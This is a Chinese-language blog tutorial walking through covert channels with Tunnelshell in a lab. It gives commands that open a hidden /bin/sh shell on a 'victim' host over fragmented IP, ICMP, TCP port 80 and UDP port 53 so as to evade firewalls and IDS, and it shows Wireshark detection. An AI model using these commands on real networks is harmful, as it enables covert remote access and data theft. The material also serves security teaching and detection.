关注我们

云众可信 | 隐蔽信道:隐形网络

至爱清唇至爱清唇 安全文摘 2019-04-30 344711 0

序言

通常来说,攻击者会使用隐藏的网络来绕过防火墙和IDS的检测。在这篇文章中,你将会学习到如何通过无法检测的网络通信从目标主机中获取信息。这种类型的网络也被称为隐蔽信道,对于任何的监控设备/应用或者是网络管理员来说,这种流量就像正常的流量一样。我们可以认为它是一种隐写术,但又不完全是隐写术。两个终端用户可以使用隐蔽通道来进行通信,网络管理员无法检测到。

红队成员在执行红队任务时,通常在一个合法的网络中使用隐蔽信道来进行数据传输,传输数据是在两个终端之间秘密共享数据的过程。

目录

  • 什么是隐蔽信道

  • 隐蔽信道分类

  • 使用tunnelshell进行隐蔽信道攻击

  • 什么是tunnelshell

  • 隐蔽的ICMP信道

  • 隐蔽的HTTP信道

  • 隐蔽的DNS信道

什么是隐蔽信道?

Covert这个单词的意思就是“隐藏的,无法检测的”,信道是一种通信模式,因此隐蔽信道表示的就是无法检测的网络通信。通过秘密信道传输的流量,管理员是无法检测到的。了解加密通信和隐蔽通信的区别十分重要。在隐蔽通信中,数据流是由未授权的第三方篡改的,而在加密通信中,它是不会隐藏两个终端间存在加密通信这个事实的。

隐蔽信道类型

存储隐蔽信道:通过修改“存储位置”进行通信,这将允许一个进程直接或间接写入存储位置,而且允许另外一个进程直接或间接读取存储位置。

定时隐蔽信道:执行操作,影响接收器“观察到的实时响应时间”。

注意:众所周知的spectre和meltdown使用的是系统的页面缓存作为他们的隐蔽信道进行泄露数据的。

使用Tunnelshell进行隐蔽信道攻击

几乎任何协议都是可以用来进行隐蔽通信。不过,绝大多数的隐蔽信道研究都是基于第三层(网络层)和第四层(传输层)的,如ICMP,IP和TCP协议。7层协议(应用层)如HTTP和DNS协议偶尔也会使用。这种机制传输信息是不会触发网络防火墙和IDS警报的,而且netstat也检测不到。

什么是tunnelshell

Tunnelshell是一个用C语言编写的程序,适用于Linux用户,是以客户端-服务端的模式工作的。服务端打开一个/bin/sh shell,客户端可以通过虚拟隧道进行访问。它适用于多种协议,包括TCP,UDP,ICMP和RawIP。而且数据包还可以进行分段来绕过防火墙和IDS。

下面我们来实际操作一下,了解更多细节。

环境要求

服务器端(kali Linux IP:10.10.10.1)

客户端(Ubuntu18.04 IP:10.10.10.2 )

隐蔽通信工具(Tunnelshell),下载地址https://packetstormsecurity.com/search/files/?q=Tunnelshell

这里我假设我们已经通过C2服务器获取了受害者主机的会话。现在,我们需要创建一个隐蔽通信信道来进行数据传输。因此,要在客户端和服务端同时安装上tunnelshell。

服务端下载好后,解压文件并进行编译,如下所示:

tar xvfz tunnelshell_2.3.tgz
Make

云众可信 | 隐蔽信道:隐形网络

同样地,客户端执行相同的操作,完成之后,在终端中执行下列命令,为服务端(攻击者)开启一个通信信道

sudo ./tunneld

默认情况下,它会发送分段数据包,然后在所有分段到达服务器后重新组合,以此来绕过防火墙和IDS。

云众可信 | 隐蔽信道:隐形网络

现在要通过tunnelshell进行连接,我们要在服务端(攻击者主机)执行下列命令,这将会建立一个隐蔽信道来进行数据传输。

语法: 

 ./tunnel -i <session id (0-65535)> -d <delay in sending packets> -s <packet size> -t <tunnel type> -o <protocol> -p <port> -m <ICMP query> -a <ppp interface> <Victim’s IP>
./tunnel -t frag 10.10.10.2

frag:使用IPv4分段数据包进行封装数据。当路由器和防火墙(如思科路由器)接收到第4层没有headers的分段数据包时,即使他们有拒绝规则,但还是会允许通过。通过下图,你可以看到它成功连接到了10.10.10.2,我们获得了受害者主机的shell,如图:

云众可信 | 隐蔽信道:隐形网络

前面说过,如果使用netstat命令来检查网络状态,你看不到任何有关tunnelshell的进程ID。不过,通过ps命令是能够看到进程信息的,然后再通过netstat命令查看它的进程ID,如下图:

ps |grep .tunneld
netstat –ano

云众可信 | 隐蔽信道:隐形网络

我们用wireshark抓包来看一下10.10.10.1(攻击者IP)和10.10.10.2(靶机IP)之间的网络流量,如下图,两个终端之间的数据流看起来是正常的,但是如果进行正确的监控的话,网络管理员是可以嗅探到数据包的。下图中可以观察到wireshark捕获了隐蔽的流量并且嗅探到了两个终端设备之间传输的数据

云众可信 | 隐蔽信道:隐形网络

隐蔽的ICMP信道

我们知道ping命令使用的是ICMP通信,也就是使用ICMP echo请求和ICMP echo回应查询在两台主机之间建立连接的,因此,我们可以执行下列命令:

sudo ./tunneld -t icmp -m echo-reply, echo

云众可信 | 隐蔽信道:隐形网络

现在要通过tunnelshell建立连接,我们需要在服务端执行下列命令,这可以建立一个隐蔽信道来进行数据传输;

./tunnel -t icmp -m echo-reply,echo 10.10.10.2

云众可信 | 隐蔽信道:隐形网络

可以看到,它成功的连接到10.10.10.2,而且攻击者已经能够访问靶机的shell了。

同样,如果使用wireshark抓包的话,还是能够看到ICMP echo请求和回应包在两个终端之间传输。如果继续对这些数据包进行分析的话,就能够看到ICMP数据包传输的payload是什么了,如图:

云众可信 | 隐蔽信道:隐形网络

隐蔽的HTTP信道

它会建立一个虚拟的TCP连接而不用进行三次握手。它不会绑定任何端口,所以你可以使用一个已经被其他进程使用的端口,所以,我们可以执行下列命令:

sudo  ./tunneld -t tcp -p 80,2000

云众可信 | 隐蔽信道:隐形网络

现在,要通过tunnelshell建立连接,我们需要在服务端执行下列命令,执行完之后,就会建立一个隐蔽信道进行数据传输

./tunnel -t tcp -p 80,2000 10.10.10.2

云众可信 | 隐蔽信道:隐形网络

从图中可以看到,已经成功连接到10.10.10.2,攻击者可以访问靶机的shell

同样地,进行wireshark抓包,可以看到在源和目标之间建立了没有三次握手的TCP连接,如图: 

云众可信 | 隐蔽信道:隐形网络

隐蔽的DNS信道

要建立DNS隐蔽信道,我们需要在两台主机上同时运行UDP隧道模式。所以,我们在靶机上执行下列命令:

sudo ./tunneld -t udp -p 53,2000

云众可信 | 隐蔽信道:隐形网络

同样地,在攻击机上执行下列命令进行隧道连接

./tunnel -t udp -p 53,2000 10.10.10.2

云众可信 | 隐蔽信道:隐形网络

抓包分析,可以看到畸形分组的DNS数据包包含了两个终端之间传递的数据,如图: 

云众可信 | 隐蔽信道:隐形网络

总结

隐蔽信道在数据传输时并不会发送加密的数据包,因此它很容易进行嗅探,网络管理员可以很轻易地执行数据损失和风险管理

版权声明

本文仅代表作者观点,不代表黑白网立场。
如文章侵犯了您的权利,请通过邮箱联系我们删除。
详情查看:版权纠纷
E-Mail:server@heibai.org

喜欢0发布评论

评论列表

发表评论

  • 昵称(必填)
  • 邮箱
  • 网址